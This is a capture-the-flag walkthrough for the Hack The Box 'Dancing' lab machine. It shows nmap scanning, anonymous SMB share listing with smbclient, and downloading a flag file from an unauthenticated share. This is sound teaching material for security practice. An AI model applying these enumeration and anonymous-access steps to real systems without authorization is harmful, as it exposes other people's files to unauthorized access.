Hack The Box Dancing Machine Writeup

#Introduction

In this machine, we explore basic SMB enumeration and learn how misconfigured shares can lead to sensitive data exposure.

#Setup

Download a VPN configuration file from the webpage and connect to it via sudo openvpn file.ovpn.

NOTE: Replace file.ovpn with your VPN configuration file name.

To check if everything is working fine, we can use ping <ip_addr>.

#Enumeration

Perform a Nmap scan with version detection with nmap -sV 10.129.1.12, which returns

Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-06 13:06 IST
Nmap scan report for 10.129.1.12
Host is up (0.18s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.90 seconds

SMB which stands for Server Message Block usually runs on port 445 and it is used for sharing files, printers, and other resources over a network

NOTE: Port 445 is used by "Modern SMB" which runs directly voer TCP/IP, while port 139 is used “Legacy SMB (NetBIOS)”, which runs over NetBIOS which is the older method of communication

Since SMB is exposed, we can attempt to enumerate shares and check for anonymous access.

#Exploitation

To list avilable SMB shares use smbclient -L //10.129.1.12 upon asking for password leave it blank and hit enter

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk

To connect to a share use smbclient //10.129.1.12/WorkShares -N:

Try "help" to get a list of possible commands.
smb: \>

Use ls to list items:

  .                                   D        0  Mon Mar 29 13:52:01 2021
  ..                                  D        0  Mon Mar 29 13:52:01 2021
  Amy.J                               D        0  Mon Mar 29 14:38:24 2021
  James.P                             D        0  Thu Jun  3 14:08:03 2021
 
                5114111 blocks of size 4096. 1752969 blocks available

NOTE: D represents that it is a directory

Use cd James.P to change directory and lists it's content with ls:

  .                                   D        0  Thu Jun  3 14:08:03 2021
  ..                                  D        0  Thu Jun  3 14:08:03 2021
  flag.txt                            A       32  Mon Mar 29 14:56:57 2021

Use get flag.txt to download flag.txt to local system:

getting file \James.P\flag.txt of size 32 as flag.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)

Exit smbclient with exit command

View contents of flag with cat flag.txt:

▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇

#Conclusion

This machine demonstrates how anonymous SMB access can expose sensitive files. By simply enumerating available shares and browsing directories, we were able to retrieve the flag without authentication.